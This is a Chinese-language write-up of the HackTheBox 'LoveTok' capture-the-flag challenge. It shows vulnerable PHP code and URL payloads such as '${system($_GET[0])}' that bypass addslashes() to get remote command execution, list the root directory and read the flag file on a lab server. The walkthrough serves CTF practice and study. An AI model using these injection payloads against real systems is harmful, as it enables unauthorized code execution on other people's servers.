HackTheBox-LoveTok

hackthebox

文章目录

  • hackthebox
  • LoveTok


LoveTok

注册账号:
1.账号名与全名一致 eg 账号guiltyfet 全名guilty fet(中间有空格)
2.下载open(下载file导入open)

HackTheBox-LoveTok_第1张图片

HackTheBox-LoveTok_第2张图片
下载源码并分析
TimeController.php的TimeController的index( r o u t e r ) 中有可控的输入 router)中有可控的输入 router)中有可控的输入_GET[‘format’]。

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

HackTheBox-LoveTok_第3张图片
看到参数 $format 被addslashes()过滤了

http://188.166.175.58:30082/?format=$%7Bphpinfo()%7D
HackTheBox-LoveTok_第4张图片


http://188.166.175.58:30082/?format=${system($_GET[0])}&0=ls /

HackTheBox-LoveTok_第5张图片

http://188.166.175.58:30082/?format=${system($_GET[0])}&0=cat%20/flage3lXD

HackTheBox-LoveTok_第6张图片

你可能感兴趣的:(安全,网络攻击模型)